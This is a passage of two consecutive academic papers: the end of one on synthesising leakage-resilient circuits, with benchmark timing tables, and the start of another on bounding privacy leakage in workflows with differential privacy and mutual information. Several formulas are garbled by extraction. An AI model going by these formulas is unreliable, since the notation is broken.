φ[αbpbkb/α][obpbkb/o][bk/k] ∧ φ[α′
bpb′

kb
/α][o′

bpb′
kb

/o][b′
k/k]

∧ ∑
b∈R(αbpbkb〈σ〉 = bβ) =

∑
b∈R(α′

bpb′
kb

〈σ〉 = bβ)

where σ : γ restricts σ to the root most γ indexes, tsetβ is the set of test set
elements for node valuations, and φ is the formula ΦSk�

(C,α, bp,k, b, o).
Unlike (1) and (2), the modification (3) applies to the candidate checking

phase. To see the benefit of this modification, note that, even in the candidate
checking phase, checking the leakage-resilience condition Φlr(bC) can be quite
expensive because it involves expanding exponentially many possible choices
of node selections. To mitigate the cost, we take advantage of the fact that
the candidate circuit is fixed in the candidate checking phase, and do a simple
dependency analysis on the candidate circuit to reduce irrelevant node-selection
choices. We describe the modification in more detail. Let P ′ be the candidate
circuit. For each node of P ′, we collect the reachable leafs from the node to
obtain the over-approximate set of inputs on which the node may depend. For a
node α of P ′, let deps(α) be the obtained set of dependent inputs for α. Then,
any selection of nodes α such that

⋃
α∈{α} deps(α) does not contain all n+1-

split shares of some secret is an irrelevant selection and can be removed from
the constraint. (Here, we use the symbols α for node labels as in Sect. 2, and not
as node-valuation variables in a constraint.)

Test Set Generation. Recall that our algorithm maintains three kinds of test
sets, tsetp for public inputs, tsetk for secret inputs, and tsetβ for node valuations.
As shown in lines 7–9 of Algorithm 2, we obtain new test set elements from
candidate check failures (here, by abuse of notation, we write tset∪ tset′ for the
component-wise union). We describe the process in more detail. In CheckCand,
we convert the constraint Φio(bC) ∧ Φlr(bC) to a quantifier free formula Φ by
expanding the selection choices and removing the universal quantifiers. Then,
we use an SMT solver to check the satisfiability of ¬Φ and return success if it is
unsatisfiable. Otherwise, the SMT solver returns a satisfying assignment of ¬Φ,
and we return the values assigned to variables corresponding to public inputs,
secret inputs and node valuations as the new elements for the respective test
sets. The number of root-most nodes to select is also raised here by taking the
maximum of the root-most nodes observed in the satisfying assignment, γ′, with
the current γ.
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4.2 Choosing Decomposition

This subsection describes the decomposition procedure Decomp. Thanks to the
generality of the compositionality results, in principle, we can decompose the
given circuit into arbitrarily small sub-circuits (i.e., down to individual gates).
However, choosing a too fine-grained decomposition may lead to a sub-optimal
result.6

To this end, we have implemented the following decomposition strategy. First,
we run a dependency analysis, similar to the one used in the constraint-based
monolithic synthesis (cf. Sect. 4.1). The analysis result is used to identify the
parts of the given circuit that do not depend on any of the secrets. We factor
out such public-only sub-circuits from the rest so that they will not be subject
to the leakage-resilience transformation.

Next, we look for sub-circuits that are used at multiple locations (i.e., whose
roots have fan-out > 1), and prioritize them to be synthesized separately and
composed at their use sites. Besides the saving in the synthesis effort, the app-
roach can lead a smaller synthesis result when the shared sub-circuit is used
in contexts that lead to different outputs (cf. Remark 4). Finally, as a general
strategy, we apply parallel composition at the root so that we synthesize sep-
arately for each output given a multi-output circuit. And, we set a bound on
the maximum size of the circuits that will be synthesized monolithically, and
decompose systematically based on the bound. As discussed in Sect. 5, in the
prototype implementation, we use an “adaptive” version of the latter decompo-
sition process by adjusting the bound on-the-fly and also opting for a pre-made
circuit under certain conditions.

Example 3. Let us apply the compositional synthesis algorithm to the circuit
from Fig. 2, for the case n = 2. Note that the circuit has no non-trivial public-
only sub-circuits or have non-inputs gates with fan-out greater than 1.

First, we apply the parallel compositionality result so that the circuit is
decomposed to two parts: the left tree that computes p1 ⊕ k1 ⊕ k2 and the
right tree that computes k2 ⊕ p2. The right tree cannot be decomposed further,
and we apply MonoSynth to transform it to a leakage-resilient form. A possible
synthesis result of this is the right sub-circuit shown in Fig. 1 (i.e., the sub-circuit
whose observable part outputs the split output o4, o5, o6).

For the left tree, if the monolithic-synthesis size bound is set to synthesize
circuits of height 2, we apply MonoSynth directly to the tree. Alternatively,
with a lower bound set, we further decompose the left tree to a lower part that
computes p1 ⊕ k1 and p2 (identity function) and an upper part that computes
k⊕p2 where the output of the lower part is to be connected to the “place-holder”
input k. Following the either strategy, we may obtain the left sub-circuit of Fig. 1
as a possible result. And, the final synthesis result after composing the left and
right synthesis results is the whole circuit of Fig. 1.

6 One may make the analogy to compiler optimization. Such a decomposition strategy
is analogous to optimizing each instruction individually.
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5 Implementation and Experiments

We have implemented a prototype of the compositional synthesis algorithm. The
implementation takes as input a finite-data loop-free C program and converts
the program into a Boolean circuit in the standard way. We remark that, in
principle, a program with non-input-dependent loops and recursive functions
may be converted to such a form by loop unrolling and function inlining.

The implementation is written in the OCaml programming language. We
use CIL [20] for the front-end parsing and Z3 [7] for the SMT solver used in
the constraint-based monolithic synthesis. The experiments are conducted on a
machine with a 2.60GHz Intel Xeon E5-2690v3 CPU with 8GB of RAM running
a 64-bit Linux OS, with the time limit of 20 hours.

We have run the implementation on the 18 benchmark programs taken from
the paper by Eldib and Wang [9]. The benchmarks are (parts of) various crypto-
graphic algorithm implementations, such as a round of AES, and we refer to their
paper for the details of the respective benchmarks (we use the same program
names).7 Whereas their experiments synthesized leakage-resilient versions of the
benchmarks only for the case n is 1, in our experiments, we do the synthesis for
the cases n = 2, n = 3, and n = 4.

We describe the decomposition strategy that is implemented in the proto-
type. Specifically, we give details of the online decomposition process mentioned
in Sect. 4.2. The implementation employs the following adaptive strategy when
decomposing systematically based on a circuit size bound. First, we set the bound
to be circuits of some fixed height (the experiments use height 3), and decom-
pose based on the bound. However, in some cases, the bound can be too large for
the monolithic constraint-based synthesis algorithm to complete in a reasonable
amount of time. Therefore, we set a limit on the time that the constraint-based
synthesis can spend on constraint solving, and when the time limit is exceeded,
we further decompose that sub-circuit by using a smaller bound. Further, when
the time limit is exceeded even with the smallest bound, or the number of secrets
in the sub-circuit exceeds a certain bound (this is done to prevent out of mem-
ory exceptions in the SMT solver), we use a pre-made leakage resilient circuit.
Recall from Remark 5 that the compositionality property ensures the correctness
of such a strategy.

Tables 1 and 2 summarize the experiment results. Table 2 shows the
results of the compositional algorithm. Table 1 shows the results obtained by
the“monolithic-only” version of the algorithm. Specifically, the monolithic-only
results are obtained by, first applying the parallel compositionality property
(cf. Sect. 3.1) to divide the given circuit into separate sub-circuit for each out-
put, and then applying the constraint-based monolithic synthesis to each sub-
circuit and combining the results. (The per-output parallel decomposition is

7 Strangely, some of the benchmarks contain inputs labeled as “random” and have
random IO behavior (when those inputs are actually treated as randoms), despite
the method of [9] only supporting programs with non-random (i.e., deterministic)
IO behavior. We treat such “random” inputs as public inputs in our experiments.
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Table 1. Experiment results: monolithic only.

name
n = 2 n = 3 n = 4

name
n = 2 n = 3 n = 4

time size rds time size rds time size rds time size rds time size rds time size rds
P1 16.2s 123 32 49.4s 138 48 52.7s 160 64 P10 T/O M/O M/O
P2 10.3s 64 16 1m13s 76 24 4m3s 88 32 P11 T/O T/O M/O
P3 M/O M/O M/O P12 T/O T/O T/O
P4 M/O M/O M/O P13 T/O T/O T/O
P5 M/O M/O M/O P14 T/O T/O M/O
P6 M/O M/O M/O P15 T/O T/O M/O
P7 M/O M/O M/O P16 T/O T/O T/O
P8 M/O M/O M/O P17 T/O T/O T/O
P9 T/O T/O T/O P18 T/O T/O T/O

Table 2. Experiment results: compositional.

name
n = 2 n = 3 n = 4

time mtc size rds time mtc size rds time mtc size rds
P1 18.7s 2.7s 125 32 30.2s 4.5s 143 48 1m1s 33.3s 160 64
P2 11.8s 3.6s 65 16 1m7s 17.3s 74 24 2m56s 1m21s 88 32
P3 2.7s 0.8s 50 11 12.3s 6.9s 83 18 3m57s 1m4s 120 26
P4 3.9s 3.1s 42 9 4.5s 2.1s 69 15 1m48s 1m4s 100 22
P5 5.9s 2.1s 63 13 20.2s 6.9s 108 21 5m12s 1m4s 140 30
P6 5.3s 1.4s 65 13 17.4s 6.9s 108 21 4m57s 1m7s 141 30
P7 2m52s 1m28s 80 15 6m13s 4m6s 163 30 9m7s 2m42s 231 44
P8 3m10s 1m48s 77 15 5m8s 3m19s 161 30 8m47s 1m44s 234 44
P9 1.2s 1.1s 33 9 2m58s 2m55s 58 15 1m7s 1m5s 87 22
P10 2m2s 1m1s 583 146 18m37s 4m46s 1027 249 26m51s 5m2s 1598 372
P11 4m9s 1m5s 464 112 24m41s 5m25s 814 192 46m12s 18m28s 1269 288
P12 10m33s 1m5s 1507 370 1h4m19s 5m56s 2643 633 2h14m24s 27m1s 4116 948
P13 17m7s 3.4s 14369 1088 50m5s 16.1s 21163 1824 10h27m40s 1m58s 22123 2688
P14 17m12s 3.4s 14369 1088 50m0s 16.0s 21163 1824 10h27m47s 2m21s 22153 2688
P15 17m15s 3.4s 14625 1088 52m32s 16.4s 21763 1824 10h30m26s 1m35s 22927 2688
P16 16m39s 3.4s 14553 1088 52m10s 14.9s 21773 1824 10h24m23s 1m27s 22922 2688
P17 5h28m27s 4m3s 16066 1594 19h11m33s 7m46s 23568 2592 17h37m27s 2m36s 25236 3712
P18 34m42s 3.7s 60111 3968 1h37m9s 15.5s 78418 6144 17h43m2s 1m54s 74847 8448

needed because the constraint-based monolithic synthesis only takes one-output
circuits as input – cf. Sect. 4.1.) The monolithic-only algorithm is essentially the
monolithic algorithm of Eldib and Wang [9] with the improvements described in
Sect. 4.1.

We describe the table legends. The column labeled “name” shows the bench-
mark program names. The columns labeled “time” show the time taken to syn-
thesize the circuit. Here, “T/O” means that the algorithm was not able to finish
within the time limit, and “M/O” means that the algorithm aborted due to an
out of memory error. The columns labeled “size” show the number of gates in the
synthesized circuit, and the columns labeled “rds” show the number of randoms
in the synthesized circuit.

The columns labeled “mtc” in Table 2 is the maximum time spent by the
algorithm to synthesize a sub-circuit in the compositional algorithm. Our proto-
type implementation currently implements a sequential version of the composi-
tional algorithm where each sub-circuit is synthesized one at a time in sequence.
However, in principle, the sub-circuits may be synthesized simultaneously in
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parallel, and the columns mtc give a good estimate of the efficiency of such a
parallel version of the compositional algorithm. We also remark that the current
prototype implementation is unoptimized and does not “cache” the synthesis
results, and therefore, it naively applies the synthesis repeatedly on the same
sub-circuits that have been synthesized previously.

As we can see from the tables, the monolithic-only approach is not able to
finish on many of the benchmarks, even for the case n = 2. In particular, it
does not finish on any of the large benchmarks (as one can see from the sizes of
the synthesized circuits, P13 to P18 are of considerable sizes). By contrast, the
compositional approach was able to successfully complete the synthesis for all
instances. We observe that the compositional approach was faster for the larger
n in some cases (e.g., P9 with n = 3 vs. n = 4). While this is partly due to
the unpredictable nature of the back-end SMT solver, it is also an artifact of
the decomposition strategy described above. More specifically, in some cases, the
algorithm more quickly detects (e.g., in earlier iterations of the constraint-based
synthesis’s CEGAR loop) that the decomposition bound should be reduced for
the current sub-circuit, which can lead to a faster overall running time.

We also observe that the sizes of the circuits synthesized by the composi-
tional approach are quite comparable to those of the ones synthesized by the
monolithic-only approach, and the same observation can be made to the num-
bers of randoms in the synthesized circuits. In fact, in one case (P2 with n = 3),
the compositional approach synthesized a circuit that is smaller than the one
synthesized by the monolithic-only approach. While this is due in part to the
fact that the monolithic synthesis algorithm optimizes circuit height rather than
size, in general, it is not inconceivable for the compositional approach to do bet-
ter than the monolithic-only approach in terms of the quality of the synthesized
circuit. This is because the compositional method could make a better use of the
circuit structure by sharing synthesized sub-circuits, and also because of parsi-
monious use of randoms allowed by the compositionality property. We remark
that the circuits synthesized by our method are orders of magnitude smaller
than those obtained by naively applying the original construction of Ishai et
al. [16] (cf. Theorem 1). For instance, for P18 with n = 4, the construction
would produce a circuit with more than 3600k gates and 500k randoms.

6 Related Work

Verification and Synthesis for n-Threshold-Probing Model of Leakage
Resilience. The n-threshold-probing model of leakage resilience was proposed
in the seminal work by Ishai et al. [16]. The subsequent research has proposed
methods to build circuits that are leakage resilient according to the model [3,4,
6,8–10,22]. Along this direction, the two branches of work that are most relevant
to ours are verification which aims at verifying whether the given (hand-crafted)
circuit is leakage resilient [3,4,10], and synthesis which aims at generating leakage
resilient circuits automatically [9]. In particular, our constraint-based monolithic
synthesis algorithm is directly inspired and extends the algorithm given by Eldib
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and Wang [9]. As remarked before, their method only handles the case n = 1. By
contrast, we propose the first compositional synthesis approach that also works
for arbitrary values of n.

On the verification side, the constraint-based verification method proposed in
[10] is a precursor to their synthesis work discussed above, and it is similar to the
candidate checking phase of the synthesis. Recent papers by Barthe et al. [3,4]
investigate verification methods that aim to also support the case n > 1. Com-
positional verification is considered in [3]. As remarked before, in contrast to the
compositionality property described in our paper, their composition does not
require disjointness of the randoms in the composed components but instead
require additional randoms at the site of the composition. We believe that the
compositionality property investigated in their work is complementary to ours,
and we leave for future work to combine these facets of compositionality.

We remark that synthesis is substantially harder than verification. Indeed,
in our experience with the prototype implementation, most of the running time
is consumed by the candidate finding part of the monolithic synthesis process
with relatively little time spent by the candidate checking part.

Quantitative Information Flow. Quantitative information flow (QIF) [1,19,
23,24] is a formal measure of information leak, which is based on an information
theoretic notion such as Shannon entropy, Rènyi entropy, and channel capacity.
Recently, researchers have proposed QIF-based methods for side channel attack
resilience [17,18] whereby static analysis techniques for checking and inferring
QIF are applied to side channels.

It is difficult to directly compare the QIF approach with the n-threshold-
probing model of leakage resilience. Whereas the notion of security ensured by
the latter is the absence of information leakage against an adversary of a cer-
tain restricted observation capability, the security ensured by the QIF approach
is typically not of the form in which the adversary’s capability is restricted in
some way, but instead some (small amount of) leak is permitted. We remark
that, as also observed by [4], in the terminology of information flow theory, the
n-threshold-probing model of leakage resilience corresponds to enforcing proba-
bilistic non-interference [14] on every n-tuple of the circuit’s internal nodes.

7 Conclusion

We have presented a new approach to synthesizing circuits that are leak-
age resilient according to the n-threshold-probing model. We have shown that
the leakage-resilience model admits a certain compositionality property, which
roughly says that composing n-leakage-resilient circuits results in an n-leakage-
resilient circuit, assuming the disjointness of the randoms in the composed circuit
components. Then, by utilizing the property, we have designed a compositional
synthesis algorithm that divides the given circuit into smaller sub-circuits, syn-
thesizes n-leakage-resilient versions of them containing disjoint randoms, and
combines the results to obtain an n-leakage-resilient version of the whole.
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Abstract. Workflows are a notation for business processes, focusing on
tasks and data flows between them. We have designed and implemented a
method for analyzing leakages in workflows by combining differential pri-
vacy and mutual information. The input of the method is a description of
leakages for each workflow component, using either differential-privacy-
or mutual-information-based quantification (whichever is known for the
component). The differential-privacy-based bounds are combined using
the triangle inequality and are then converted to mutual-information-
based bounds. Then the bounds for the components are combined using
a maximum-flow algorithm. The output of the method is a mutual-
information-based quantification of leakages of the whole workflow.

1 Introduction

As the businesses’ capabilities of collecting and analysing data increase, so do the
privacy issues around such collection and processing. Existing research on finding
trade-offs between the privacy of individuals and the utility of collected data has
concentrated on constructing or analysing mechanisms for making the outputs
of data analysis methods or programs in general privacy-preserving for their
inputs, while providing as much accuracy as possible. In enterprise environments,
however, processes are compositions of complex tasks performed by humans and
computers. To analyze them, we need methods to compose the guarantees given
by individual tasks, and reason about a series of information releases to different
parties, or the applications of privacy enhancing technologies.

Different privacy-enhancing technologies are best characterized using differ-
ent measures, and these measures may behave differently and provide different
guarantees when tasks are composed. In this paper, we consider the analysis
of workflows, i.e. a sequential/parallel composition of tasks, where the outputs
of one task may serve as inputs of another. A workflow conveniently captures
the data flows in a business process. The inputs to the workflow are privacy-
sensitive pieces or collections of data, while the outputs are disclosed to some
entity. We want to measure the amount of information flowing from the inputs of
the workflow to the outputs, given such measures for single tasks. The informa-
tion flows of tasks are characterized either in terms of sensitivity of the function
c© Springer-Verlag GmbH Germany 2017
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computed by the task, or in terms of a privacy measure, which may be either
differential privacy, or mutual information between the inputs and outputs of
the task. Depending on the order of application of the rules of composition, we
may obtain results of very different quality.

As an example, consider a theoretical early warning system (EWS) to locate
major incidents in a large city. An incident is deemed to have taken place in a
point that most people are moving away from. To find such points, the EWS
collects location and movement information from the mobile phones in the city.
To enhance the privacy of such collection, noise is added. From the noised data,
we can find the epicenter that most phones are moving away from, and report
its location with the precision of a city block to rapid responders. At the same
time, the law enforcement is interested in determining the outliers among the
phones close to the epicenter, given e.g. by their recent call logs, and found
using techniques of secure computation [13]. Here the effect of adding noise is
best described by differential privacy, while the projections of the location to
a city block, and the call log to a classifier are better characterized through
Shannon entropy and related notions.

Our analysis receives the descriptions of tasks with respect to the information
flows from their inputs to their outputs, as well as the graph describing how the
tasks have been composed. The information flows may be characterized through
various means named above. The analysis will derive mutual information based
information flow constraints for all tasks, and then apply an algorithm based on
maximum flow to derive an upper bound on the global leakage. The correctness
proof of the proposed maximum flow based algorithm (which by itself is not too
complex) is one of the main contributions of this paper.

We begin by describing related work in Sect. 2. In Sect. 3, we define the
workflows that can be analyzed using our method. In Sects. 4 and 5, we describe
and mutual information and differential privacy, respectively, and study how they
are used to quantify leakages in the workflow and its components. In Sect. 6, we
list and describe the different kinds of information flow descriptions about tasks
handled by our analyser. These descriptions are used by the analyser that is
given in Sect. 7 together with its correctness proof. In Sect. 8 we show that the
analyser is also in some sense complete — for a given set of information flow
descriptions, there exists a workflow matching them, such that the adversary can
actually leak as many bits from the source to the target wires as are reported
by the analysis. In Sect. 9 we give some examples of component types that can
be expressed in our system. In Sect. 10, we describe our implementation of the
method. In Sect. 11, we give an example of using the method. Finally, we conclude
in Sect. 12.

2 Related Work

Differential privacy [9] (DP) has emerged as a popular metric for privacy
preservation in computational mechanisms. There exist a fair number of
(semi-)automatic approaches to determine or certify the DP level of a task
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from its language-based description, including typing [12,17] or automated
reasoning [4]. DP has served as the basis of privacy-preserving querying sys-
tems [16], where the privacy level of a query is automatically computed [10].
These approaches are not directly applicable to the analysis of workflows, because
here several privacy-enhancing tasks may be sequentially composed.

Conditional entropy and mutual information (channel capacity) have also
been used as privacy metrics; automated ways to determine or approximate
it include static program analysis [6] and statistical sampling [5]. Instead of
Shannon entropy, min-entropy has been argued to be more suitable to charac-
terize the resilience of a system against an adversary trying to guess a secret [18].
The automated approaches based on finding the kernel of the leakage function
and computing the sizes of its equivalence classes [2], as well as measuring the
bit-width of the paths of flow of information through a program [15] can be seen
as instantiations of this idea. In [15], the measurement is performed by find-
ing the maximal flow in a certain network, where the arcs correspond to values
computed in the program, with their bit-widths being the capacities. This is
somewhat similar to Algorithm 1 in this paper, but the capacities correspond
to different quantities. Shannon entropy has found its use to describe the total
throughput of a communication network with noisy channels [3]. In their set-
ting, the finding of the optimal communication rate also reduces to the compu-
tation of maximum flow in a certain network, but their setting is more restricted
than ours (e.g. secret sharing cannot be expressed), with greater independence
required between various messages.

Recently, a DP analysis for workflows has been proposed [8], composing the
sensitivity and DP of individual tasks to the DP of entire workflow. Our app-
roach extends it with the possibility to characterize the privacy preservation in
tasks using mutual information and allows converting from differential privacy
to mutual information. Also, a leakage description in our approach connects a
subset of inputs with a subset of outputs of a task, whereas in [8], the link is
between a single input and a single output. Earlier works on privacy analysis of
business processes [11] are qualitative in nature.

3 Workflows

A workflow consists of information processing components, composed sequen-
tially and/or in parallel. The components are connected by wires.

Let Ports be a fixed infinite set, the elements of which are called ports. For
each p ∈ Ports let V(p) be the set of values that can be input or output through
port p. For a set X, et D(X) denote the set of probability distributions over X.

Definition 1. A component is a tuple M = (ipM , opM , fM ), where ipM , opM ⊂
Ports are finite, ipM ∩ opM = ∅, and fM :

∏
p∈ipM

V(p) → D(
∏

p∈opM
V(p)).

Definition 2. A workflow is a tuple WF = (M,W, s, t), where M is a finite
set of components, W is the finite set of wires, s :

∑
M∈M opM → W and

t :
∑

M∈M ipM → W, satisfying the following constraints:
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– The mapping s is injective.
– For any two ports p1, p2 of the components of WF, if s(p1) = t(p2) = w or

t(p1) = t(p2) = w, then V(p1) = V(p2). We denote this set by V(w).
– There are no cycles in the directed graph having the tasks in M as vertices,

where an arc from M1 to M2 exists iff there exist p1 ∈ opM1
and p2 ∈ ipM2

,
such that s(p1) = t(p2).

We introduce the following workflow-related notions:

– The inputs or input wires of a component M are the wires in the set IM =
t(ipM ). Similarly, the outputs of M are the wires in OM = s(opM ).

– The listeners of a wire w are the components M satisfying w ∈ IM .
– A path in the workflow is an alternating list of wires and components, each

wire followed by one of its listeners and each component by one of its output
wires.

– A wire w is a global input of the workflow, if s(p) �= w for all output ports of
all components in the workflow. Denote the set of all global inputs by G.

Definition 3. Let WF = (M,W, s, t) be a workflow with global inputs G. Let
InpDist ∈ D(G → V). The run of WF starting from InpDist is a random
variable of type W → V, sampled as follows:

– The values for all w ∈ G are sampled from the distribution InpDist;
– Each component M for which all of its input wires are already mapped to

values, applies fM to the tuple of values at its input ports, probabilistically
producing a tuple of values for its output ports. These values are added to the
mapping for the output wires of M .

– The previous item is repeated until all wires are mapped (this terminates
because there are no cycles in the workflow).

4 Information Flow

Now suppose that a subset S of the global inputs contains sensitive information
and a subset T of all wires is eavesdropped by an adversary. We would like to
estimate how much sensitive information the adversary can learn during each
run of the workflow, i.e. how much information is leaked from S to T . One way
to quantify this leakage is using mutual information.

Definition 4. Let X, Y and Z be discrete random variables. Then the mutual
information of X and Y conditioned over Z (in bits) is

I(X;Y |Z) =
∑

x

∑

y

∑

z

pX,Y,Z(x, y, z) log
pZ(z)pX,Y,Z(x, y, z)
pX,Z(x, z)pY,Z(y, z)

where the logarithm is base-2 and pX,Y , etc. are probability mass functions, e.g.
pX,Z(x, z) = Pr(X = x,Z = z). The mutual information I(X;Y ) of X and Y
is defined as I(X;Y |Z) for a constant Z.
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Fact. If X,Y,Z,W are random variables, then I(X;Y |Z,W ) ≤ I(X,W ;Y |Z).
This follows easily from the relationships between mutual information and (con-
ditional) entropy [14, Sect. 2.4].

We identify wires and their corresponding random variables. Also each set of
wires is identified with a tuple of random variables (in some order of wires, fixed
for the workflow) considered as a single composite random variable. Thus we can
write I(A; C) as the mutual information between the sets of wires A and C.

Lemma 1. Let A be the set of all input wires of a component M . Let B be
subset of the output wires of M . Let C be a subset of wires into which there is
no path from M . Then I(B; C|A) = 0.

Proof. Follows from the definition of the run. 	

For each set of wires X , let

– V(X ) be the set of possible values of the wires X ,
– d(X ) be the distribution of the values on the wires X ,
– D(X ) be the set of all distributions over V(X ),
– Const(X ) be the set of all constant distributions (also called degenerate dis-

tributions or deterministic distributions) over V(X ).

For each value v, let Const(v) be the constant distribution of the value v.
As inputs to the analysis, each component may have a description about

the known bounds on the information flow from some subsets of its inputs to
some subsets of its outputs. If there are no known bounds then the flows can
be infinite. Each wire may also have a bound on the size of the values sent over
that wire.

We are interested in I(S;T ). This quantity is uniquely determined by the
distribution d(G) of the values of the global inputs G and the conditional distri-
butions POM |IM=a for all M and a (which together induce the distribution of
the values of all wires). We do not necessarily know these distributions exactly.
Instead, the input of our analyzer includes declarations that restrict the distri-
bution d(G) to a subset of D(G) and for all M , restrict the function f where
f(a) = POM |IM=a, to a subset of D(OM )V(IM ).

S may be a proper subset of G. In this case, the global inputs G\S are not
considered sensitive. Thus, we may assume that the adversary already knows the
value of G\S, i.e. its distribution may be considered constant. Thus d(G\S) ∈
Const(G\S). Therefore, our goal is to compute an upper bound on the value

max
d(S)∈DS

d(G\S)∈Const(G\S)

I(S;T ) (1)

where DS is the set of distributions into which the distribution of S is known
to belong, according to the sensitivity declarations that will be described in
Sect. 6.1.

We compute an upper bound on I(S;T ) using similar bounds for the indi-
vidual components, i.e. I(A, C) for each component M , for all A ⊆ IM , C ⊆ OM .
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Let I = IM and C ⊆ OM . For each A ⊆ I and D ⊆ D(A), let

qDM (A; C) = max
d(A)∈D

d(I\A)∈Const(I\A)

I(A; C) (2)

We take the maximum over all distributions that A may belong to because we
do not know what the actual distribution on A is and we want qDM (A; C) to be an
upper bound on I(A; C). If we do not have any knowledge about the distribution
of A then D = D(A). If we have already determined the possible distributions
of the inputs IM (as will be described in Sect. 6.1) then we can write qM (A; C)
instead of qDM (A; C).

The description of a component M should ideally contain the values qM (A; C)
for all subsets of A of the inputs of M and all subsets C of the outputs of M .
Because it may be difficult to determine the values qM (A; C), we may instead
have upper bounds on these values. Also, we may not have the values for all A
and C.

The triangle equality does not hold for qM . Thus it is possible that

qM (A1; C) + qM (A2; C) < qM (A1 ∪ A2; C)

or
qM (A; C1) + qM (A; C2) < qM (A; C1 ∪ C2)

Thus it does not in general suffice to give qM (A; C) only for one-element sets A
and C, because no bounds for larger sets of wires can be deduced from these.

Monotonicity does hold:

A′ ⊆ A ∧ C′ ⊆ C ⇒ qM (A′; C′) ≤ qM (A; C)

but it may not give the best upper bound on qM (A′; C′).

5 Differential Privacy

Because qM does not satisfy the triangle inequality, we may instead use a different
quantity that does satisfy the triangle inequality and that implies a bound on
qM .

Definition 5. Let P1 and P2 be discrete probability distributions over a set X.
Then P1 and P2 are ε-close iff for all x ∈ X, P1(x) · e−ε ≤ P2(x) ≤ P1(x) · eε.
Let the differential-privacy distance between P1 and P2 be the smallest value ε
(which may be ∞) such that P1 and P2 are ε-close.

Definition 6. Let P be a probability distribution over A. Denote by dP
M (A; C)

the least value ε (which may also be ∞) such that for all value tuples a and a′

of the inputs A for which P (a) > 0 and P (a′) > 0, for all value tuples b of the
inputs IM\A, the probability distributions PC|A=a,IM\A=b and PC|A=a′,IM\A=b

are ε-close. For any set D of probability distributions over A, let

dDM (A; C) = max
P∈D

dP
M (A; C)
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We have the following connection between differential privacy and information
flow.

Lemma 2. Let dDM (A; C) = ε. Then qDM (A; C) ≤ q bits, where

q = ε
(eε − 1)(1 − e−ε)

(eε − 1) + (1 − e−ε)
· 1
ln 2

(3)

Proof. The proof is similar to [7]. Table 1 lists correspondences between some
notions in our paper and in [7]. Let D(P ‖ Q) =

∑
a P (a) log(P (a)/Q(a)) be

the Kullback-Leibler divergence from Q to P .

Table 1. Correspondence between the notions in our paper and [7]

Our paper [7]

qD
M (A; C) = max

d(A)∈D
d(I\A)∈Const(I\A)

I(A; C) sup
i,PXn

I(Xi; Y |X−i)

∃P ∈ D. P (a) > 0 ∧ P (a′) > 0 Databases D and D̃ are neighbors (they
differ in at most one entry)

dD
M (A; C) = ε ε is the least value such that for all

neighboring databases xn and x̃n,
PY |Xn=xn ≈(ε,0) PY |Xn=x̃n

We have ∀P ∈ D : P (a) > 0 ∧ P (a′) > 0. ∀b. PC|A=a,IM\A=b and
PC|A=a′,IM\A=b are ε-close. This is analogous to the statement [7] that for all
neighboring databases xn and x̃n, PY |Xn=xn and PY |Xn=x̃n are ε-close. Both of
these statements characterize ε-differential privacy.

Cuff and Yu [7] show that if P and Q are ε-close, then D(P ‖ Q) ≤ q bits
and D(Q ‖ P ) ≤ q bits where q is as in (3). I.e. we have ∀P ∈ D : P (a) >
0 ∧ P (a′) > 0. ∀b. D(PC|A=a,IM\A=b ‖ PC|A=a′,IM\A=b) ≤ q bits.

Consider any case where P ∈ D, A ∼ P , and IM\A = b. Then, analogously
to [7],

I(A; C) = EAD(P (C|A) ‖ P (C))
= EAD(PC|A=a,IM\A=b ‖ EP (a′)>0PC|A=a′,IM\A=b)
≤ EAEP (a′)>0D(PC|A=a,IM\A=b ‖ PC|A=a′,IM\A=b) ≤ q bits

Because this holds for all considered cases, we have qDM (A; C) ≤ q bits. 	

If we have already determined the possible distributions of the inputs IM (as
will be described in Sect. 6.1) then we can write dM (A; C) instead of dDM (A; C).
Then dM satisfies triangle inequality for inputs:

dM (A1; C) + dM (A2; C) ≥ dM (A1 ∪ A2; C)
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Thus the description of a component may give dM (A; C) only for the cases where
A is a one-element set, then we can use the triangle inequality to find an upper
bound on dM (A; C) for the cases where A is a larger set, and then convert this
to an upper bound on qM (A; C).

Note that dM may not satisfy triangle inequality for outputs. If the outputs
C1 and C2 are calculated from the input A (which is in some bounded range)
by adding r and −r to them, respectively, where r is a Laplace random value,
then dM (A;C1) = dM (A;C2) is finite but dM (A;C1, C2) = ∞ because the ran-
domness in C1 and C2 can be canceled out, revealing the exact value of A.

Differential privacy is useful for bounding leakages of information from a cer-
tain provenance but it may not always give the best bounds. For example, if we
make in parallel 100 queries, each 0.1-differentially private, then the combina-
tion is 10-differentially private. When converted to mutual information (using
(3)), this gives 14.4 bits of leakage. On the other hand, each 0.1-differentially
private query separately, when converted to mutual information, leaks 0.0072
bits. Because results of the queries are conditionally independent (conditioned
on the inputs), the triangle inequality holds here for mutual information, thus
the 100 queries together leak only 0.72 bits, not 14.4 bits. Thus we get a much
better bound on the leakage. This gives motivation for combining differential
privacy and mutual information when bounding leakages.

Note that, in (3), q ≈ ε2

2 ln 2 when ε is small. This is one of the reasons
that we use Shannon entropy instead of min-entropy. If we used min-entropy,
we would get the bound q = ε

ln 2 [1], even when ε is small. When the output
C can have only 2 possible values then [1] gives an improved bound q ≈ ε

2 ln 2
when ε is small. Now consider the example in the previous paragraph. Each
0.1-differentially private query, when converted to min-entropy, leaks at most
0.0703 bits of min-entropy if the output is binary, and 0.144 bits in the general
case. The 100 queries together leak either 7.03 or 14.4 bits. Thus, combining
differential privacy with min-entropy during the whole analysis, we would get no
or only a small improvement over the bound (14.4 bits) that we get when using
only differential privacy in the analysis and converting the final result to min-
entropy. On the other hand, as described in the previous paragraph, combining
differential privacy with Shannon entropy during the whole analysis improves
the bound 20 times compared to using only differential privacy in the analysis
and converting the final result to mutual information.

6 Inputs to the Analysis

Our information-flow analysis takes as input the graphical description of the
workflow — the names of tasks and ports, as well as the wires from one port
to another. It takes as input the subsets S and T of wires, stating which global
inputs contain sensitive information, and which wires are read by the adversary.
It also takes as input the information flow behaviour of tasks. The latter may
be expressed in many different kinds, which we describe below.
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6.1 Sensitivity

For each wire w, let distw be a distance (metric) on V(w). Let

β0(w) = max
a,a′∈supp d(w)

distw(a, a′) (4)

This is the diameter (according to distw) of the support of the distribution of w.
Our analysis can make use of declarations that the support of the dis-

tribution of a global input w has diameter (according to distw) at most s. In
this case, let β(w) = s. For those global inputs w for which there is no such
declaration, let β(w) = ∞. Then β(w) ≥ β0(w) for all global inputs w.

Our analysis can also make use of declarations that (M,A,C) (where
A ∈ IM , C ∈ OM ) has c-sensitivity. This means that

– for all a, a′ ∈ V(A),b ∈ V(IM\{A}), d, d′ ∈ V(C):
